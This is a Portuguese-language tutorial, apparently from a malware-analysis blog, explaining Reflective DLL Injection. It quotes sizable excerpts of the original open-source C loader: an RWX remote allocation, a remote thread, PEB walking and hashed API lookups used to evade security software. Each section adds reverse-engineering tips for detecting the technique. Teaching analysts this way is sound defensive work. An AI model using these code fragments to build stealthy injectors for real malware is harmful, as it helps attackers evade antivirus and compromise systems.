Ir para conteúdo
  • O que é Reflective DLL Injection

       (3 análises)

    Leandro Fróes

    Hoje daremos início a uma série de artigos sobre diversos assuntos ligados a Análise de Malware. Nesta série, falaremos sobre diversas técnicas que são/podem ser utilizadas por malwares e também como podemos analisar tais técnicas numa perspectiva de engenharia reversa.

    A série será dividida em diferentes "tópicos" como, por exemplo, Injeção de código, bypass de X, ou até mesmo algum truque/dica legal que vale um artigo! A postagem dos artigos não irá seguir uma ordem em específico, uma vez que um artigo não dependerá do outro (mas poderão se complementar obviamente). Além disto, para cada artigo serão também apresentadas algumas dicas de análise (dentro do que sei no momento da escrita do artigo, claro) em relação à técnica em si sendo apresentada.

    Sem mais enrolação, bora pra o que interessa! ?

    Introdução à Injeção de DLLs:

    Injeção de DLL como um todo é uma abordagem bastante conhecida e utilizada faz uns bons anos por diversos tipos de software, incluindo malwares. Por consequência da grande utilização por criadores de malware, desenvolvedores de software de segurança (e.g. AV/EDR) implementam várias técnicas para tentar impedir tal abordagem.

    Hoje em dia, num ponto de vista de desenvolvimento de malware, métodos convencionais (LoadLibrary via CreateRemoteThread, por exemplo) simplesmente não são tão viáveis, uma vez que é BEM provável que o software de segurança em questão (caso haja um, claro) implemente algo para lidar com isto, seja fazendo hooking em user-mode, listando os módulos carregados no processo e analisando o binário em disco, checando permissões das páginas para ver se alguma possui ERW, e por aí vai. O ponto é que a ideia como um todo é bem manjada já.

    Com isto em mente, tanto criadores de malware quanto Red Teamers passaram a criar diversas abordagens (bem criativas por sinal) de se carregar uma DLL no processo alvo e iremos explorar alguns destes métodos nesta série.

    Reflective DLL Injection:

    No artigo de hoje falaremos um pouco de uma técnica chamada Reflective DLL Injection, que mesmo sendo meio antiga ainda funciona muito bem e é utilizada não só por malwares, mas também por ferramentas ofensivas como o famoso Cobalt Strike.

    Criada por Stephen Fewer, esta técnica utiliza o conceito de Programação Reflexiva para cumprir um único objetivo: carregar uma DLL no processo alvo deixando o mínimo de rastros possíveis, isto é, dependendo muito pouco dos recursos do sistema que costumam ser monitorados por softwares de segurança. Este objetivo é alcançado através da implementação de um "Mini loader" em uma função exportada (neste caso chamada "ReflectiveLoader") na própria DLL sendo carregada. Este loader garante que todos os requisitos mínimos exigidos pelo Windows para que a DLL carregada seja um binário válido sejam cumpridos.

    Antes de começar:

    Para a explicação ficar de certa forma mais simples e fluída vou explicá-la exatamente como ela foi implementada no código original.

    Para que a técnica funcione precisamos garantir que atendemos no mínimo 2 coisas:

    1. A DLL alvo deve ser carregada/injetada e seus bytes escritos no processo alvo;
    2. Todos os requisitos mínimos para tornar esta DLL um binário pronto para ser executado foram atendidos (realocação, tabela de importação, etc).

    Considerando que a implementação da técnica tem seu código aberto utilizaremos trechos do código original ao longo do artigo. O código é bastante comentado e eu super recomendo a leitura/estudo de tal para qualquer pessoa que queira entender a técnica nos mínimos detalhes. ?

    Inicialização:

    A forma utilizada para iniciar toda a execução da técnica no código original é através de um "injetor". Este binário é o responsável pelo primeiro requisito mínimo, isto é, obter os bytes da DLL, alocar memória no processo alvo, copiar a DLL para o espaço de memória alocado e passar a execução para a função exportada da DLL da qual garante o segundo requisito mínimo exigido.

    Para começar precisamos obter os bytes da DLL a ser carregada. No código fonte original, por exemplo, a DLL está escrita em disco e seus bytes são lidos da seguinte forma:

    hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
    if( hFile == INVALID_HANDLE_VALUE )
      BREAK_WITH_ERROR( "Failed to open the DLL file" );
    
    dwLength = GetFileSize( hFile, NULL );
    if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
      BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    
    lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
    if( !lpBuffer )
      BREAK_WITH_ERROR( "Failed to get the DLL file size" );
    
    if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
      BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

    Em seguida, precisamos obter um handle para o processo que terá a DLL carregada em seu address space. Este handle será passado para a função VirtualAllocEx posteriormente para alocar memória no processo.

    Para a explicação ficar mais simples, uma vez que não iremos cobrir questões de permissões, tokens, etc, neste artigo vamos assumir que o processo alvo é o processo do próprio injetor, onde seu Process ID (PID) foi obtido utilizando a função GetCurrentProcessId.

    Ao obtermos o Process ID, os bytes da DLL a ser carregada e seu tamanho podemos inicializar a rotina de injeção da DLL no processo alvo:

    dwProcessId = GetCurrentProcessId();
    
    [...]
    
    hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
    if( !hProcess )
    	BREAK_WITH_ERROR( "Failed to open the target process" );
    
    hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
    if( !hModule )
    	BREAK_WITH_ERROR( "Failed to inject the DLL" );

    DICAS DE ANÁLISE:

    • Sempre fique atento a funções como CreateFile e OpenProcess, pois estas indicam que provavelmente o arquivo e/ou processo sendo passado como parâmetro será manipulado de alguma forma. No caso de OpenProcess o processo é indicado através do PID e podemos checar qual o nome/full path deste processo buscando pelo PID em questão utilizando diversas ferramentas como Process Explorer, Process Hacker, x64dbg, e por aí vai. Já na CreateFile o full path do arquivo/device é passado como sendo o primeiro parâmetro da função. Tenha em mente que se a DLL não for lida do disco a dica da CreateFile não funcionará, no entanto os bytes ainda assim precisam ser lidos de algum lugar, seja de uma região de memória encriptada, da seção de recursos, etc.
    • Caso você perca a execução destas funções por qualquer motivo podemos ainda assim obter as mesmas informações (isto é, o nome do processo e o full path do arquivo) de funções como VirtualAllocEx, WriteProcessMemory e ReadFile, uma vez que as 3 recebem os handles referentes ao processo alvo e arquivo alvo, respectivamente.

    Injeção:

    Como vimos no código acima a função LoadRemoteLibraryR foi chamada passando o Process ID, os bytes da DLL lida e o tamanho do buffer que contém estes bytes da DLL.

    O objetivo dessa função é:

    1. Obter o endereço da função exportada que implementa o loader da nossa DLL;
    2. Alocar memória no processo alvo (no próprio injetor no nosso caso) a fim de injetar todo o conteúdo da DLL alvo a ser carregada;
    3. Escrever os bytes da DLL no processo alvo, como comentado acima;
    4. Executar a função exportada em questão de alguma forma.

    *Existem diversas formas de se executar funções (que por sua vez podem ser entrypoints, shellcodes, etc) no Windows, desde criando threads até via funções de callback aleatórias que vemos por aí (e vai por mim, o Windows tem MUITAS). O autor da técnica decidiu implementar 2 técnicas a fim de executar a função exportada, são elas ou via CreateRemoteThread passando o endereço da função exportada como "entrypoint" da thread (utilizada no exemplo abaixo) e outra forma via ponteiro de função, que basicamente faz a mesma coisa só que evita a criação de uma thread no processo alvo.

    A primeira coisa que é feita é tentar achar o endereço da função exportada responsável pelo segundo requisito. Para não poluir muito o artigo não vou colocar o código responsável por esta parte, até porque ele foge um pouco do escopo do artigo. Resumidamente o que é feito ali é o seguinte:

    • É feito um parsing nas estruturas do PE em questão (DLL) até chegar em seu Export Directory.
    • Com ele em mãos 2 tabelas podem ser resgatadas, uma que aponta para o endereço das funções exportadas (AddressOfFunctions) e outra que aponta para os nomes destas funções (AddressOfNames).
    • É feito então um looping que checa o nome de cada função exportada pela DLL e então uma comparação para ver se o nome é o esperado (no nosso caso "ReflectiveLoader").
    • Se for o caso o RVA (Relative Virtual Address) é obtido através da tabela de endereços acima, convertido para offset e então retornado.

    Caso nada disso tenha feito sentido aconselho você a dar uma estudada sobre o formato PE. ?

    O injetor então aloca memória suficiente para toda a DLL no processo alvo e então escreve os bytes da DLL no espaço alocado. Depois disto o endereço da função exportada é calculado somando o offset obtido anteriormente com o endereço base, isto é, o valor retornado da função VirtualAllocEx. Para finalizar, o endereço da função é passado como "entrypoint" de uma thread criada no processo alvo:

    if( !hProcess  || !lpBuffer || !dwLength )
    	break;
    
    // check if the library has a ReflectiveLoader...
    dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
    if( !dwReflectiveLoaderOffset )
    	break;
    
    // alloc memory (RWX) in the host process for the image...
    lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
    if( !lpRemoteLibraryBuffer )
    	break;
    
    // write the image into the host process...
    if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
    	break;
    
    // add the offset to ReflectiveLoader() to the remote library address...
    lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
    
    // create a remote thread in the host process to call the ReflectiveLoader!
    hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

    Até então todas as tarefas foram executadas pelo injetor. A partir de agora, considerando que estamos executando a função exportada da nossa DLL, tudo será feito pela DLL em si.

    DICA DE ANÁLISE:

    • Funções como VirtualAlloc e VirtualAllocEx retornam o endereço base da região de memória alocada, ou seja, isto é um prato cheio para colocarmos breakpoints nesta região e observarmos como a região é manipulada (o que é escrito lá, por exemplo).
    • É um tanto normal malwares/packers/etc não se preocuparem muito em quais permissões eles dão para as páginas quando alocam memória com VirtualAlloc, por exemplo, e na maioria das vezes utilizam ERW (Execução, Leitura, Escrita, respectivamente). Isto é muito bom tanto para análises manuais quanto de softwares de segurança. No nosso caso podemos ir na aba de "Memory Map" do x64dbg, por exemplo, e buscar por regiões com estas permissões. Bem provável que tem algo interessante lá! Tenha em mente que se as permissões forem alteradas (utilizando VirtualProtect, por exemplo) logo depois que a operação naquela região for feita ficará mais difícil aplicar esta dica.
    • Funções como WriteProcessMemory recebem o buffer contendo os dados a serem escrito no processo como um de seus parâmetros (além de recebem o PID do processo como já mencionado previamente). Podemos ler o endereço deste buffer para checar o que está sendo escrito. Existem casos que várias chamadas à WriteProcessMemory são feitas e os dados são escritos como se fossem blocos e neste caso podemos simplesmente observar o local onde os bytes estão sendo escritos ao invés do buffer em si sendo escrito.
    • Funções como CreateThread e CreateRemoteThread recebem 2 parâmetros importantes, são eles o endereço de uma função que será o "entrypoint" da thread sendo criada e os parâmetros desta função caso haja algum. Sempre fique de olho nestes endereços e na execução destas funções de entrada da thread as controlando com breakpoints, etc.

    Mini Loader:

    A forma mais manjada de se carregar uma DLL é utilizando a função LoadLibrary. Até aí tudo bem, no entanto, como mencionado anteriormente, a técnica apresentada neste artigo tenta ser o "mais silenciosa possível" e a utilização desta função pode complicar um pouco as coisas. Um dos problemas é que utilizar a LoadLibrary fará com que a lista de módulos carregados do seu processo seja atualizada com o módulo carregado, isto é, sua DLL, dando acesso a coisas relevantes para um software de segurança como por exemplo o full path, ImageBase e por aí vai, o que não é lá tão "silencioso".

    Além disso, justamente pela função LoadLibrary ser tão simples de se utilizar e poderosa geralmente ela está hookada (em userland no caso, mas falaremos disto em outro artigo) e antes mesmo do módulo ser carregado é bem provável que o Anti-Vírus, por exemplo, já tenha analisado sua DLL em disco e já tome uma ação em cima dela (impedindo o carregamento dela, por exemplo).

    A fim evitar estas situações esta técnica implementa um "Mini Loader", que é implementado na função exportada mencionada acima (exportada pela própria DLL que será carregada). Vou me referir a este "Mini loader" como simplesmente loader, mas tenha em mente que não estou falando do loader convencional do Windows.

    E sim! Todo o loader é implementado dentro da própria DLL que queremos carregar (daí o conceito de Programação Reflexiva), doideira né?

    image.jpeg

    A primeira ação executada pelo loader é tentar obter o endereço base da DLL em si executando a função exportada. Este endereço será necessário pois será utilizado para parsear as estruturas do formato PE necessárias para o loader. No entanto, para chegarmos até a base da DLL precisamos de um ponto de partida, uma vez que a função exportada não faz ideia de onde ela foi carregada.

    Temos várias formas de obter um endereço de referência para trabalharmos (call $0 seguido de pop <reg>, por exemplo) e a utilizada pelo autor foi criando uma função "caller" que irá servir como uma espécie de "ponte" para forçar a execução da instrução CALL. Esta instrução por padrão coloca o endereço da próxima instrução a ser executada depois da CALL na pilha, nos permitindo obter este endereço de alguma forma. Este endereço na pilha é então retornado executando a função _ReturnAddress, chamada dentro deste "caller".

    Com um endereço de "referência" em mãos, nós iremos "andar para trás" (literalmente decrementar) o endereço de referência até achar as strings "MZ" (assinatura do DOS) e "PE\x0\x0" (assinatura PE), indicando que atingimos o endereço base da DLL:

    #pragma intrinsic( _ReturnAddress )
    
    __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
    
    [...]
    
    // we will start searching backwards from our callers return address.
    	uiLibraryAddress = caller();
    
    	// loop through memory backwards searching for our images base address
    	// we dont need SEH style search as we shouldnt generate any access violations with this
    	while( TRUE )
    	{
    		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
    		{
    			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
    			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
    			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
    			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
    			{
    				uiHeaderValue += uiLibraryAddress;
    				// break if we have found a valid MZ/PE header
    				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
    					break;
    			}
    		}
    		uiLibraryAddress--;
    	}

    Um ponto falho aqui seria o caso do compilador otimizar a "caller" e tornar ela inline. Neste caso não haveria a execução da instrução CALL e toda a operação falharia!

    Depois disto os passos executados são os seguintes:

    • Obtém a lista de módulos carregados no processo lendo a lista "InMemoryOrderModuleList" dentro do PEB* (Process Environment Block) do processo;
    • Tenta achar o módulo da kernel32.dll na lista de módulos carregados;
    • Obtém o ImageBase (endereço base) do módulo da kernel32 para fazer o parsing das estruturas do módulo (e.g. Export Table);
    • Parseia a Export Table da kernel32 a fim de achar o endereço das funções LoadLibraryA, GetProcAddress e VirtualAlloc. Estas funções serão utilizas para construir a tabela de importação da nossa DLL;
    • Faz a mesma coisa com o módulo da ntdll, mas agora buscando pelo endereço da função NtFlushInstructionCache.

    *Toda aplicação em user-mode no Windows contém uma estrutura chamada de Process Environment Block. Ela é uma das raras estruturas que é "de sistema" e que é exposta em user-mode. O motivo por trás dessa "exposição" é que ela contém informações relevantes utilizadas por componentes como o loader do Windows, Heap Manager, susbsystem DLLs, etc e se estes componentes tivessem que acessar tais informações via syscalls seria muito caro num ponto de vista de performance. No nosso caso a informação relevante é a lista de módulos carregados no nosso processo e suas informações.

    O código abaixo demonstra como os passos descritos acima são executados:

    // get the Process Enviroment Block
    #ifdef WIN_X64
    	uiBaseAddress = __readgsqword( 0x60 );
    #else
    #ifdef WIN_X86
    	uiBaseAddress = __readfsdword( 0x30 );
    #else WIN_ARM
    	uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
    #endif
    #endif
    
    [...]
    
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
    
    	// get the first entry of the InMemoryOrder module list
    	uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    	while( uiValueA )
    	{
    		// get pointer to current modules name (unicode string)
    		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
    		// set bCounter to the length for the loop
    		usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
    		// clear uiValueC which will store the hash of the module name
    		uiValueC = 0;
    
    		// compute the hash of the module name...
    		do
    		{
    			uiValueC = ror( (DWORD)uiValueC );
    			// normalize to uppercase if the madule name is in lowercase
    			if( *((BYTE *)uiValueB) >= 'a' )
    				uiValueC += *((BYTE *)uiValueB) - 0x20;
    			else
    				uiValueC += *((BYTE *)uiValueB);
    			uiValueB++;
    		} while( --usCounter );
    
    		// compare the hash with that of kernel32.dll
    		if( (DWORD)uiValueC == KERNEL32DLL_HASH )
    		{
    			// get this modules base address
    			uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
    
    			// get the VA of the modules NT Header
    			uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
    
    			// uiNameArray = the address of the modules export directory entry
    			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
    
    			// get the VA of the export directory
    			uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
    
    			// get the VA for the array of name pointers
    			uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
    			
    			// get the VA for the array of name ordinals
    			uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
    
    			usCounter = 3;
    
    			// loop while we still have imports to find
    			while( usCounter > 0 )
    			{
    				// compute the hash values for this function name
    				dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
    				
    				// if we have found a function we want we get its virtual address
    				if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
    				{
    					// get the VA for the array of addresses
    					uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
    
    					// use this functions name ordinal as an index into the array of name pointers
    					uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
    
    					// store this functions VA
    					if( dwHashValue == LOADLIBRARYA_HASH )
    						pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    					else if( dwHashValue == GETPROCADDRESS_HASH )
    						pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    					else if( dwHashValue == VIRTUALALLOC_HASH )
    						pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
    			
    					// decrement our counter
    					usCounter--;
    				}
    
    				// get the next exported function name
    				uiNameArray += sizeof(DWORD);
    
    				// get the next exported function name ordinal
    				uiNameOrdinals += sizeof(WORD);
    			}
    		}
    
    [...Faz o mesmo para a NTDLL...]

    Caso você leia o código fonte pode notar que existe uma função extra sendo executada tanto para checar o nome dos módulos quanto das suas funções exportadas. Esta função é uma hashing function, utilizada basicamente pra não deixar a string em texto limpo em memória uma vez que ela só é resolvida na hora que é utilizada. Temos um vídeo no curso de Análise de Malware Online (AMO) aqui do Mente Binária que explica um pouco mais sobre este tipo de técnica. No nosso caso este hash é calculado utilizando a função _rotr.

    Talvez você esteja se perguntando por que diabos precisou dessa trabalheira toda só para pegar o endereço de funções que em teoria já estão disponíveis no nosso processo "host", uma vez que a kernel32 já está carregada nele e poderíamos simplesmente chamá-las, certo?!

    De forma superficial a resposta para esta pergunta é simples! Acontece que este loader é escrito utilizando uma abordagem que faz com que ele seja o que é chamado de Position Independent Code (ou PIC para os íntimos), que é basicamente uma abordagem que garante que independente de onde o código esteja sendo carregado (endereço) ou módulos disponíveis, ele alcançará seu objetivo uma vez que utiliza apenas estruturas e recursos que são garantidos estarem presentes no address space no qual ele está sendo executado (está aí o motivo de se buscar um endereço de referência tanto via PEB quanto via _ReturnAddress). Este tipo de abordagem é bastante utilizada em shellcodes, por exemplo, uma vez que estes não podem depender de endereços pré-definidos para executar suas tarefas.

    Continuando...

    • O ponteiro obtido para a função VirtualAlloc é utilizado para alocar espaço suficiente para suportar toda a DLL (sim, de novo);
    • Toda a DLL é escrita na região alocada, mas agora tomando os devidos cuidados copiando os headers, seções, utilizando o RVA ao invés do offset, etc;
    • A Import Table é construída parseando o Import Directory a fim de se obter todas as DLLs e funções importadas destas DLLs utilizadas pela nossa DLL sendo carregada;
    • A imagem da DLL em questão é realocada;
    • O Entry Point (no caso de uma DLL a função DllMain) da nossa DLL já carregada e pronta é então executado.

    Como os 4 passos acima caem no mesmo ponto de terem mais a ver com o formato PE do que com a técnica em si não vou colocar o código aqui (até porque o artigo já está bem grandinho). No entanto, reforço novamente que vai ser super valioso se você ler o código para entender tudo!

    DICAS DE ANÁLISE:

    • Como estes trechos de código não utilizam nenhuma função da API do Windows eles são um pouco mais "manuais" de se analisar, no entanto, a dica que posso dar é: fique de olho em registradores que contêm endereços de estruturas conhecidas e seus offsets! Em x86, por exemplo, o endereço da TEB (Thread Environment Block) é carregado em fs:[0] (em x64 fica em gs:[0]). Se deslocarmos 0x30 bytes (x86) ou 0x60 (x64) a partir do endereço base desta estrutura obtemos um ponteiro para o PEB, e a partir dela pegamos a lista de módulos carregados e por aí vai! QUASE tudo isto está documentado na MSDN, mas caso não esteja certeza que você acha no Google e/ou em algum repositório por aí. ?

    image.thumb.png.e3ce4ec03c642dffc40cd343fa42d3a7.png

    • A mesma ideia de acompanhar offsets conhecidos se aplica ao parsing de estruturas do formato PE. O offset 0x3c a partir do endereço base do binário, por exemplo, representa o campo e_lfanew do IMAGE_DOS_HEADER. Este campo contém o offset para assinatura PE ("P", "E", 0x0, 0x0) do binário, que por consequência é o início da estrutura IMAGE_NT_HEADER. Para que seja feito o devido parsing das estruturas seguintes (Optional Header, Data Directories, etc) o binário precisa obter o endereço desta estrutura e com isto podemos utilizar tais valores como dicas para sabermos quais campos do formato PE estão sendo acessados.

    Execução da DLL:

    Neste ponto nós já temos nossa DLL mapeada em memória, carregada propriamente e pronta para ser executada! Isto tudo interagindo muito pouco com recursos clássicos de carregamento do sistema. O trecho abaixo mostra como a função DllMain é executada:

    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
    
    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
    
    // call our respective entry point, fudging our hInstance value
    #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
    #else
    	// if we are injecting an DLL via a stub we call DllMain with no parameter
    	((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
    #endif

    A partir de agora é bem comum que a DLL execute o seu verdadeiro código malicioso (através da DllMain), uma vez que toda a injeção já aconteceu e a DLL está pronta.

    DICA DE ANÁLISE:

    • Sempre observe funções que recebem um ponteiro de função como parâmetro (CreateRemoteThread, CreateThreadpoolWait, etc) ou instruções CALL chamando endereços não tão comuns em execuções normais (endereços na pilha, registradores, etc). Geralmente elas indicam ou o início da execução de um shellcode ou de um binário que acabou de ser carregado/desofuscado/etc.
    • Podemos obter todos os bytes de um módulo completo só com o endereço comentado acima (isto é, de uma região suspeita que encontramos alocada e sendo executada). Para isto basta seguirmos o endereço na aba de "Memory Map" do x64dbg, por exemplo, e fazermos um "dump" de toda a região:

    image.png.c3bc80fff2f6eeb44ef62fb06c0fc741.png

    Lembrando que existem diversas variações para esta técnica, desde a modificação das funções sendo utilizadas (ou a não utilização delas) até a forma com que a permissão das páginas alocadas é manipulada e os bytes da DLL alvo obtidos. Nosso foco aqui foi apresentar de forma simples a técnica e seguindo rigorosamente o código fonte a fim de melhorar a experiência de quem quer aprender acompanhando o código fonte.

    E é isto! Espero que tenham gostado e qualquer dúvida/feedback/sugestão estou à disposição, seja por aqui ou pelo nosso Discord.

    Abs,
    Leandro


    • Agradecer 2

    Feedback do Usuário

    Participe da conversa

    Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.
    Nota: Sua postagem exigirá aprovação do moderador antes de ficar visível.

    Visitante

    • Isso não será mostrado para outros usuários.
    • Adicionar um análise...

      ×   Você colou conteúdo com formatação.   Remover formatação

        Apenas 75 emojis são permitidos.

      ×   Seu link foi automaticamente incorporado.   Mostrar como link

      ×   Seu conteúdo anterior foi restaurado.   Limpar o editor

      ×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.


    Vitor Mob

      

    Incrível, atualmente estudando RE, e não sabia desta técnica, ansioso para as próximas publicações !!!

    Link para a análise
    Compartilhar em outros sites


  • Conteúdo Similar

×
×
  • Criar Novo...